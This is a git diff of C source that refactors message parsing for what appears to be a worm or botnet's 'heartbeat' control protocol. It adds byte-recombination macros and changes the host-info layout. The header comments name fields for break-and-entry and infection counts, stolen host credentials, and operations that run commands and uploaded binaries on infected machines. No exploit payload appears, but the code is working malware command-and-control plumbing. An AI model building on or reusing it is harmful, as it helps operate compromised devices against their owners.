-	out->err = (int32_t)
-		(((uint_fast32_t)data[1] << 24) |
-		((uint_fast32_t)data[2] << 16) |
-		((uint_fast32_t)data[3] << 8) |
-		((uint_fast32_t)data[4] << 0));
+	out->err = prne_recmb_msb32(data[1], data[2], data[3], data[4]);
 
 	return PRNE_HTBT_SER_RC_OK;
 }
 
 prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out) {
-	uint_fast16_t cred_size;
+	size_t cred_size;
 
-	*actual = 99;
+	*actual = 94;
 
 	if (len < *actual) {
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	cred_size = ((uint_fast16_t)data[96] << 8) | ((uint_fast16_t)data[97] << 0);
+	cred_size = data[92];
 	*actual += cred_size;
 	if (len < *actual) {
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	prne_htbt_free_host_info(out);
 	if (!prne_htbt_alloc_host_info(out, cred_size)) {
 		return PRNE_HTBT_SER_RC_ERRNO;
 	}
 
-	out->prog_ver[0] = data[0];
-	out->prog_ver[1] = data[1];
-	out->prog_ver[2] = data[2];
-	out->prog_ver[3] = data[3];
-	out->prog_ver[4] = data[4];
-	out->prog_ver[5] = data[5];
-	out->prog_ver[6] = data[6];
-	out->prog_ver[7] = data[7];
-	out->prog_ver[8] = data[8];
-	out->prog_ver[9] = data[9];
-	out->prog_ver[10] = data[10];
-	out->prog_ver[11] = data[11];
-	out->prog_ver[12] = data[12];
-	out->prog_ver[13] = data[13];
-	out->prog_ver[14] = data[14];
-	out->prog_ver[15] = data[15];
-
-	out->boot_id[0] = data[16];
-	out->boot_id[1] = data[17];
-	out->boot_id[2] = data[18];
-	out->boot_id[3] = data[19];
-	out->boot_id[4] = data[20];
-	out->boot_id[5] = data[21];
-	out->boot_id[6] = data[22];
-	out->boot_id[7] = data[23];
-	out->boot_id[8] = data[24];
-	out->boot_id[9] = data[25];
-	out->boot_id[10] = data[26];
-	out->boot_id[11] = data[27];
-	out->boot_id[12] = data[28];
-	out->boot_id[13] = data[29];
-	out->boot_id[14] = data[30];
-	out->boot_id[15] = data[31];
-
-	out->instance_id[0] = data[32];
-	out->instance_id[1] = data[33];
-	out->instance_id[2] = data[34];
-	out->instance_id[3] = data[35];
-	out->instance_id[4] = data[36];
-	out->instance_id[5] = data[37];
-	out->instance_id[6] = data[38];
-	out->instance_id[7] = data[39];
-	out->instance_id[8] = data[40];
-	out->instance_id[9] = data[41];
-	out->instance_id[10] = data[42];
-	out->instance_id[11] = data[43];
-	out->instance_id[12] = data[44];
-	out->instance_id[13] = data[45];
-	out->instance_id[14] = data[46];
-	out->instance_id[15] = data[47];
-
-	out->parent_uptime =
-		((uint_fast64_t)data[48] << 56) |
-		((uint_fast64_t)data[49] << 48) |
-		((uint_fast64_t)data[50] << 40) |
-		((uint_fast64_t)data[51] << 32) |
-		((uint_fast64_t)data[52] << 24) |
-		((uint_fast64_t)data[53] << 16) |
-		((uint_fast64_t)data[54] << 8) |
-		((uint_fast64_t)data[55] << 0);
-
-	out->child_uptime =
-		((uint_fast64_t)data[56] << 56) |
-		((uint_fast64_t)data[57] << 48) |
-		((uint_fast64_t)data[58] << 40) |
-		((uint_fast64_t)data[59] << 32) |
-		((uint_fast64_t)data[60] << 24) |
-		((uint_fast64_t)data[61] << 16) |
-		((uint_fast64_t)data[62] << 8) |
-		((uint_fast64_t)data[63] << 0);
-
-	out->rerun_cnt =
-		((uint_fast64_t)data[64] << 56) |
-		((uint_fast64_t)data[65] << 48) |
-		((uint_fast64_t)data[66] << 40) |
-		((uint_fast64_t)data[67] << 32) |
-		((uint_fast64_t)data[68] << 24) |
-		((uint_fast64_t)data[69] << 16) |
-		((uint_fast64_t)data[70] << 8) |
-		((uint_fast64_t)data[71] << 0);
-
-	out->bne_cnt =
-		((uint_fast64_t)data[72] << 56) |
-		((uint_fast64_t)data[73] << 48) |
-		((uint_fast64_t)data[74] << 40) |
-		((uint_fast64_t)data[75] << 32) |
-		((uint_fast64_t)data[76] << 24) |
-		((uint_fast64_t)data[77] << 16) |
-		((uint_fast64_t)data[78] << 8) |
-		((uint_fast64_t)data[79] << 0);
-
-	out->infect_cnt =
-		((uint_fast64_t)data[80] << 56) |
-		((uint_fast64_t)data[81] << 48) |
-		((uint_fast64_t)data[82] << 40) |
-		((uint_fast64_t)data[83] << 32) |
-		((uint_fast64_t)data[84] << 24) |
-		((uint_fast64_t)data[85] << 16) |
-		((uint_fast64_t)data[86] << 8) |
-		((uint_fast64_t)data[87] << 0);
-
-	out->parent_pid =
-		((uint_fast32_t)data[88] << 24) |
-		((uint_fast32_t)data[89] << 16) |
-		((uint_fast32_t)data[90] << 8) |
-		((uint_fast32_t)data[91] << 0);
-
-	out->child_pid =
-		((uint_fast32_t)data[92] << 24) |
-		((uint_fast32_t)data[93] << 16) |
-		((uint_fast32_t)data[94] << 8) |
-		((uint_fast32_t)data[95] << 0);
-
-	out->cred_size =
-		((uint_fast16_t)data[96] << 8) |
-		((uint_fast16_t)data[97] << 0);
-
-	out->arch = (prne_arch_t)data[98];
-
-	memcpy(out->cred, data + 99, cred_size);
+	memcpy(out->prog_ver, data + 0, 16);
+	memcpy(out->boot_id, data + 16, 16);
+	memcpy(out->instance_id, data + 32, 16);
+	out->parent_uptime = prne_recmb_msb64(
+		data[48],
+		data[49],
+		data[50],
+		data[51],
+		data[52],
+		data[53],
+		data[54],
+		data[55]);
+	out->child_uptime = prne_recmb_msb64(
+		data[56],
+		data[57],
+		data[58],
+		data[59],
+		data[60],
+		data[61],
+		data[62],
+		data[63]);
+	out->bne_cnt = prne_recmb_msb64(
+		data[64],
+		data[65],
+		data[66],
+		data[67],
+		data[68],
+		data[69],
+		data[70],
+		data[71]);
+	out->infect_cnt = prne_recmb_msb64(
+		data[72],
+		data[73],
+		data[74],
+		data[75],
+		data[76],
+		data[77],
+		data[78],
+		data[79]);
+	out->crash_cnt = prne_recmb_msb32(
+		data[80],
+		data[81],
+		data[82],
+		data[83]);
+	out->parent_pid = prne_recmb_msb32(
+		data[84],
+		data[85],
+		data[86],
+		data[87]);
+	out->child_pid = prne_recmb_msb32(
+		data[88],
+		data[89],
+		data[90],
+		data[91]);
+	out->arch = (prne_arch_t)data[93];
+	memcpy(out->host_cred, data + 94, cred_size);
+	out->host_cred[cred_size] = 0;
 
 	return PRNE_HTBT_SER_RC_OK;
 }
@@ -792,7 +646,7 @@ prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, si
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 	
-	args_len = ((uint_fast16_t)data[0] << 8) | ((uint_fast16_t)data[1] << 0);
+	args_len = prne_recmb_msb16(0x0F & data[0], data[1]);
 	*actual += args_len;
 
 	if (len < *actual) {
@@ -856,10 +710,7 @@ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t le
 	}
 
 	*actual = chain_actual + 3;
-	out->bin_size =
-		((uint_fast32_t)data[0] << 16) |
-		((uint_fast32_t)data[1] << 8) |
-		((uint_fast32_t)data[2] << 0);
+	out->bin_size = prne_recmb_msb32(0, data[0], data[1], data[2]);
 
 	return PRNE_HTBT_SER_RC_OK;
 }
diff --git a/src/protocol.h b/src/protocol.h
index 2de0f97..09fa837 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -87,14 +87,14 @@ typedef enum {
 	* 	uint8_t instance_id[16]
 	* 	uint64_t parent_uptime	: in seconds
 	* 	uint64_t child_uptime	: in seconds
-	* 	uint64_t rerun_cnt		: rerun count
 	* 	uint64_t bne_cnt		: break-and-entry count
 	* 	uint64_t infect_cnt		: infect count ( <= 'bne_cnt')
+	*	uint32_t crash_cnt
 	* 	uint32_t parent_pid
 	* 	uint32_t child_pid
-	* 	uint16_t cred_size
+	* 	uint8_t host_cred_len
 	* 	uint8_t arch			: `prne_arch_t` value
-	* 	uint8_t cred[cred_size]
+	* 	uint8_t host_cred[host_cred_len]
 	*/
 	PRNE_HTBT_OP_HOST_INFO,
 	/* Hand Over Operation
@@ -120,7 +120,8 @@ typedef enum {
 	* TODO
 	*
 	* Followed by
-	* 	uint16_t args_len	: the length of 'args'
+	*	uint4_t rsv
+	* 	uint12_t args_len	: the length of 'args'
 	* 	char args[len]		: the series of null-terminated string for exec*()
 	*/
 	PRNE_HTBT_OP_RUN_CMD,
@@ -129,7 +130,8 @@ typedef enum {
 	*
 	* Followed by:
 	* 	uint24_t bin_len
-	* 	uint16_t args_len
+	*	uint4_t rsv
+	* 	uint12_t args_len
 	* 	char args[args_len]
 	* 	uint8_t bin[bin_len]
 	*/
@@ -139,7 +141,8 @@ typedef enum {
 	*
 	* Followed by:
 	* 	uint24_t bin_len
-	* 	uint16_t args_len
+	*	uint4_t rsv
+	* 	uint12_t args_len
 	* 	char args[args_len]
 	* 	uint8_t bin[bin_len]
 	*/
@@ -190,7 +193,6 @@ struct prne_htbt_status {
 struct prne_htbt_host_info {
 	uint64_t parent_uptime;
 	uint64_t child_uptime;
-	uint64_t rerun_cnt;
 	uint64_t bne_cnt;
 	uint64_t infect_cnt;
 	uint32_t parent_pid;
@@ -198,8 +200,8 @@ struct prne_htbt_host_info {
 	uint8_t prog_ver[16];
 	uint8_t boot_id[16];
 	uint8_t instance_id[16];
-	uint8_t *cred;
-	uint16_t cred_size;
+	char *host_cred;
+	uint32_t crash_cnt;
 	prne_arch_t arch;
 };
 
@@ -224,7 +226,7 @@ typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t
 #define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO
 #define PRNE_HTBT_PROTO_PORT (uint16_t)64420
 #define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv
-#define PRNE_HTBT_ARG_MEM_MAX 4096 // bash limit
+#define PRNE_HTBT_ARG_MEM_MAX 4095 // bash limit
 
 
 const char *prne_arch_tostr (const prne_arch_t x);
@@ -247,11 +249,11 @@ void prne_init_host_cred (prne_host_cred_t *hc);
 bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len);
 void prne_free_host_cred (prne_host_cred_t *hc);
 bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b);
-prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const uint8_t salt, const prne_host_cred_t *in);
+prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in);
 prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out);
 
 void prne_htbt_init_host_info (prne_htbt_host_info_t *hi);
-bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_size);
+bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen);
 void prne_htbt_free_host_info (prne_htbt_host_info_t *hi);
 bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b);
 
@@ -266,7 +268,7 @@ void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb);
 bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b);
 
 prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in);
-prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); // TODO: test
+prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in);
 prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in);
diff --git a/src/util_ct.h b/src/util_ct.h
index b408808..4f40949 100644
--- a/src/util_ct.h
+++ b/src/util_ct.h
@@ -45,6 +45,44 @@
 #define prne_dbgmast(expr, ...)
 #endif
 
+/**********************************************************************
+* Endianess Independent Byte Extraction
+***********************************************************************/
+/* prne_getmsbN(x, n)
+*
+* Extract nth most significant byte of x.
+*/
+#define prne_getmsb(x, n, w, s)\
+	(uint8_t)(((w)(x) & (w)0xFF << (s - 8 * (n))) >> (s - 8 * (n)))
+#define prne_getmsb64(x, n) prne_getmsb((x), (n), uint_fast64_t, 56)
+#define prne_getmsb32(x, n) prne_getmsb((x), (n), uint_fast32_t, 24)
+#define prne_getmsb16(x, n) prne_getmsb((x), (n), uint_fast16_t, 8)
+
+/* prne_recmb_msbN(...)
+*
+* Recombine bytes in big-endian order to uintN.
+*/
+#define prne_recmb_msb64(a, b, c, d, e, f, g, h) (\
+	((uint_fast64_t)(a) << 56) |\
+	((uint_fast64_t)(b) << 48) |\
+	((uint_fast64_t)(c) << 40) |\
+	((uint_fast64_t)(d) << 32) |\
+	((uint_fast64_t)(e) << 24) |\
+	((uint_fast64_t)(f) << 16) |\
+	((uint_fast64_t)(g) << 8) |\
+	((uint_fast64_t)(h) << 0)\
+)
+#define prne_recmb_msb32(a, b, c, d) (\
+	((uint_fast32_t)(a) << 24) |\
+	((uint_fast32_t)(b) << 16) |\
+	((uint_fast32_t)(c) << 8) |\
+	((uint_fast32_t)(d) << 0)\
+)
+#define prne_recmb_msb16(a, b) (\
+	((uint_fast16_t)(a) << 8) |\
+	((uint_fast16_t)(b) << 0)\
+)
+
 /* Machine Characteristics
 */
 #define PRNE_ENDIAN_LITTLE 1
diff --git a/src/util_rt.c b/src/util_rt.c
index 6d44f52..52ea0cf 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -99,13 +99,7 @@ size_t prne_getpagesize (void) {
 }
 
 bool prne_nstreq (const char *a, const char *b) {
-	if (a == NULL && b == NULL) {
-		return true;
-	}
-	if (a == NULL || b == NULL) {
-		return false;
-	}
-	return strcmp(a, b) == 0;
+	return strcmp(a == NULL ? "" : a, b == NULL ? "" : b) == 0;
 }
 
 size_t prne_nstrlen (const char *s) {